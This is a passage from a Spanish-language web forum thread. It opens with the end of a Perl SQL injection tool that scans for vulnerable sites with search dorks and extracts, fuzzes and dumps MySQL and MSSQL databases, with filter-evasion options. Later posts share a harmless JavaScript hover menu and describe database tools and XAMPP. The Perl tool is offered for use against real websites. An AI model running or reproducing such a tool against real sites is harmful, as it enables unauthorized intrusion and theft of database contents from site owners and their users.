print "\n[+] Result Saved to $vulnfile\n";
}
}

variables();
main();

if (defined($search_dork))
{
print "[+] Vulnerability Scan\n" ;
print "[+] Dork : $search_dork\n\n\n" ;
vulnscanner();
if (defined($vulnfile))
{
open(vuln_file,">>$vulnfile") ;
print vuln_file @mysqlvuln;
print vuln_file @mssqlvuln;
print vuln_file @accessvuln;
close(vuln_file);
print "[+] Result Saved to $vulnfile\n";
exit();
}
}

if (defined($mysql_count_target))
{
print "[+] MySQL Column Counter\n\n" ;
print "[+] Target : $mysql_count_target\n" ;
if ($evasion eq '/*')
{
print "[+] Evasion : /**/\n" ;
}
elsif ($evasion eq '%20')
{
print "[+] Evasion : %20\n" ;
}
else
{
print "[+] Evasion : --\n" ;
$evasion = "--"
}
mysqlcount($mysql_count_target,$evasion);
}

if (defined($mysql_details_target))
{
print "[+] MySQL database details\n\n" ;
print "[+] Target : $mysql_details_target\n" ;
if ($evasion eq '/*')
{
print "[+] Evasion : /**/\n" ;
}
elsif ($evasion eq '%20')
{
print "[+] Evasion : %20\n" ;
}
else
{
print "[+] Evasion : --\n" ;
$evasion = "--"
}
mysqldetails($mysql_details_target,$evasion);
}

if (defined($mysql_schema_target))
{
print "[+] MySQL Schema Extractor details\n\n" ;
print "[+] Target : $mysql_schema_target\n" ;
if ($evasion eq '/*')
{
print "[+] Evasion : /**/\n" ;
}
elsif ($evasion eq '%20')
{
print "[+] Evasion : %20\n" ;
}
else
{
print "[+] Evasion : --\n" ;
$evasion = "--"
}
mysqlschema($mysql_schema_target,$evasion);
}

if (defined($mysql_dump_target))
{
if (!defined($sql_dump_column))
{
print "[!] Please Defind At Least A Column\n";
exit();
}
elsif (!defined($sql_dump_table))
{
print "[!] Please Defind Table Name\n";
exit();
}
else
{
print "[+] MySQL Data Dumper details\n\n" ;
print "[+] Target : $mysql_dump_target\n" ;
if ($evasion eq '/*')
{
print "[+] Evasion : /**/\n" ;
}
elsif ($evasion eq '%20')
{
print "[+] Evasion : %20\n" ;
}
else
{
print "[+] Evasion : --\n" ;
$evasion = "--"
}
mysqldump($mysql_dump_target,$sql_dump_column,$sql_dump_table,$evasion);
}
}

if (defined($mysql_fuzz_table))
{
if(!defined($word_list))
{
print "[!] Please Define A list of tables to load\n";
exit();
}
else
{
print "[+] MySQL Tables Fuzzer\n\n" ;
print "[+] Target : $mysql_fuzz_table\n" ;
if ($evasion eq '/*')
{
print "[+] Evasion : /**/\n" ;
}
elsif ($evasion eq '%20')
{
print "[+] Evasion : %20\n" ;
}
else
{
print "[+] Evasion : --\n" ;
$evasion = "--"
}
mysqlfuzztable($mysql_fuzz_table,$evasion,$word_list);
}
}

if (defined($mysql_fuzz_column))
{
if(!defined($word_list))
{
print "[!] Please Define A list of tables to load\n";
exit();
}
elsif(!defined($sql_dump_table))
{
print "[!] Please Define A Table To Fuzz it's Columns\n";
exit();
}
else
{
print "[+] MySQL Columns Fuzzer\n\n" ;
print "[+] Target : $mysql_fuzz_column\n" ;
if ($evasion eq '/*')
{
print "[+] Evasion : /**/\n" ;
}
elsif ($evasion eq '%20')
{
print "[+] Evasion : %20\n" ;
}
else
{
print "[+] Evasion : --\n" ;
$evasion = "--"
}
mysqlfuzzcolumn($mysql_fuzz_column,$evasion,$word_list,$sql_dump_table);
}
}

if (defined($mysql_load_file))
{
if(!defined($word_list))
{
print "[!] Please Define A list of tables to load\n";
exit();
}
else
{
print "[+] MySQL Load_File Fuzzer\n\n" ;
print "[+] Target : $mysql_load_file\n" ;
if ($evasion eq '/*')
{
print "[+] Evasion : /**/\n" ;
}
elsif ($evasion eq '%20')
{
print "[+] Evasion : %20\n" ;
}
else
{
print "[+] Evasion : --\n" ;
$evasion = "--"
}
mysqlfile($mysql_load_file,$evasion,$word_list);
}
}

if (defined($mssql_details_target))
{
print "[+] MsSQL DB Details\n\n" ;
print "[+] Target : $mssql_details_target\n" ;
if ($evasion eq '/*')
{
print "[+] Evasion : /**/\n" ;
}
elsif ($evasion eq '%20')
{
print "[+] Evasion : %20\n" ;
}
else
{
print "[+] Evasion : --\n" ;
$evasion = "--"
}
mssqldetails($mssql_details_target,$evasion);
}

if (defined($mssql_table_target))
{
print "[+] MsSQL Tables Extractor\n\n" ;
print "[+] Target : $mssql_table_target\n" ;
if ($evasion eq '/*')
{
print "[+] Evasion : /**/\n" ;
}
elsif ($evasion eq '%20')
{
print "[+] Evasion : %20\n" ;
}
else
{
print "[+] Evasion : --\n" ;
$evasion = "--"
}
mssqltable($mssql_table_target,$evasion);
}

if (defined($mssql_column_target))
{
if(!defined($sql_dump_table))
{
print "[!] Please Defind At Least A Table do Extract from\n";
exit();
}
else
{
print "[+] MsSQL Columns Extractor\n\n" ;
print "[+] Target : $mssql_column_target\n" ;
if ($evasion eq '/*')
{
print "[+] Evasion : /**/\n" ;
}
elsif ($evasion eq '%20')
{
print "[+] Evasion : %20\n" ;
}
else
{
print "[+] Evasion : --\n" ;
$evasion = "--"
}
mssqlcolumn($mssql_column_target,$evasion,$sql_dump_table);
}
}

if (defined($mssql_dump_target))
{
if(!defined($sql_dump_table))
{
print "[!] Please Defind At Least A Table\n";
exit();
}
elsif(!defined($sql_dump_column))
{
print "[!] Please Defind At Least A Column\n";
exit();
}
else
{
print "[+] MsSQL Data Dumper\n\n" ;
print "[+] Target : $mssql_dump_target\n" ;
if ($evasion eq '/*')
{
print "[+] Evasion : /**/\n" ;
}
elsif ($evasion eq '%20')
{
print "[+] Evasion : %20\n" ;
}
else
{
print "[+] Evasion : --\n" ;
$evasion = "--"
}
mssqldump($mssql_dump_target,$evasion,$sql_dump_table,$sql_dump_column);
}



Espero que os sirva!:O

Saludos
#57
Bueno hace unos minutos estaba programando cositas rapidas y pequeñas para llenar un poco las secciones de programacion web, y se me ocurrio esto jeje, como ya sabeis la barra de S.O mac cuando tu pones el cursor encima de una imagen se hace mas grande, cierto?

Pues lo mismo e echo en php y en js, quedaos con el codigo el diseño es nulo solo queria mostrar el diseño.

Código: javascript

<html>
<head>
<title>Menu 'MAC' eDeex</title>
<style type="text/css">
#Menu{ width:1000px; height:60px; float:left; text-align:center; margin:0 auto; }
.Botones { width:150px; height:40px; float:left }
</style>
<script type="text/javascript">
function menu(id,ancho,alto)
{
document.getElementById(id).width=ancho;
document.getElementById(id).height=alto;
}
</script>
</head>
<body>
<div id="Menu">
<a class="Botones" href="#" onmouseout="menu('edeex','150','40');" onmousemove="menu('edeex','160','50');">
<img id="edeex" src="img/edeex.png" border="0" width="150" height="40" />
</a>
<a class="Botones" href="#" onmouseout="menu('google','150','40');" onmousemove="menu('google','160','50');">
<img id="google" src="img/google.png" border="0" width="150" height="40" />
</a>
<a class="Botones" href="#" onmouseout="menu('underc0de','150','40');" onmousemove="menu('underc0de','160','50');">
<img id="underc0de" src="img/underc0de.png" border="0" width="150" height="40" />
</a>
<a class="Botones" href="#" onmouseout="menu('zone','150','40');" onmousemove="menu('zone','160','50');">
<img id="zone" src="img/zone-h.png" border="0" width="150" height="40" />
</a>
<a class="Botones" href="#" onmouseout="menu('mac','150','40');" onmousemove="menu('mac','160','50');">
<img id="mac" src="img/mac.png" border="0" width="150" height="40" />
</a>
</div>
</body>
</html>



Comentarme que tal! Quiero decir que tambien se puede hacer con hojas de estilo con "hover", espero que os guste.

Saludos
#58
¿Que es Navicat?
El software es un programa de mantenimiento y consulta de bases de datos, es compatible con sistemas libres como mySQL u otros como Oracle, que tiene como bandera su simplicidad de uso respecto a un programa de mantenimiento pesados y complejos.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta




¿Que es MySQL-Front?
MySQL-Front es una sencilla pero útil aplicación diseñada especialmente para desarrolladores que trabajan con MySQL.

Desde el primer momento en el que empiezas a usar este administrador descubres su facilidad para obtener información sobre las bases de datos, tanto de sus tablas como de su estructura y contenido.


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Bueno la verdad solo e usado Navicat, el MySQL-Fron me han dicho que tambien es muy bueno, yo sinceramente prefiero gestionar mis bases de datos via phpMyadmin :P.

Saludos
#59

¿Que es Xampp?
XAMPP es un servidor independiente de plataforma, software libre, que consiste principalmente en la base de datos MySQL, el servidor Web Apache y los intérpretes para lenguajes de script: PHP y Perl. El nombre proviene del acrónimo de X (para cualquiera de los diferentes sistemas operativos), Apache, MySQL, PHP, Perl. El programa está liberado bajo la licencia GNU y actúa como un servidor Web libre, fácil de usar y capaz de interpretar páginas dinámicas. Actualmente XAMPP esta disponible para Microsoft Windows, GNU/Linux, Solaris, y MacOS X.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta





¿Que es AppServer?
Appserv es una herramienta OpenSource para Windows que facilita la instalación de Apache, MySQL y PHP en la cual estas aplicaciones se configuran en forma automática.

Como extra incorpora phpMyAdmin para el manejo de MySQL


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta




Yo, personalmente recomiendo Xampp.
Lo uso desde hace años y nunca me a dado ningun problema.
Antes de nada quiero decir que xampp no puede ejecutarse si el puerto que usa esta en uso.
Por ejemplo el Skype usa el mismo puerto que el Xampp, entonces para hacerlo funcionar, ejecutar primero el skype y luego el xampp.


Saludos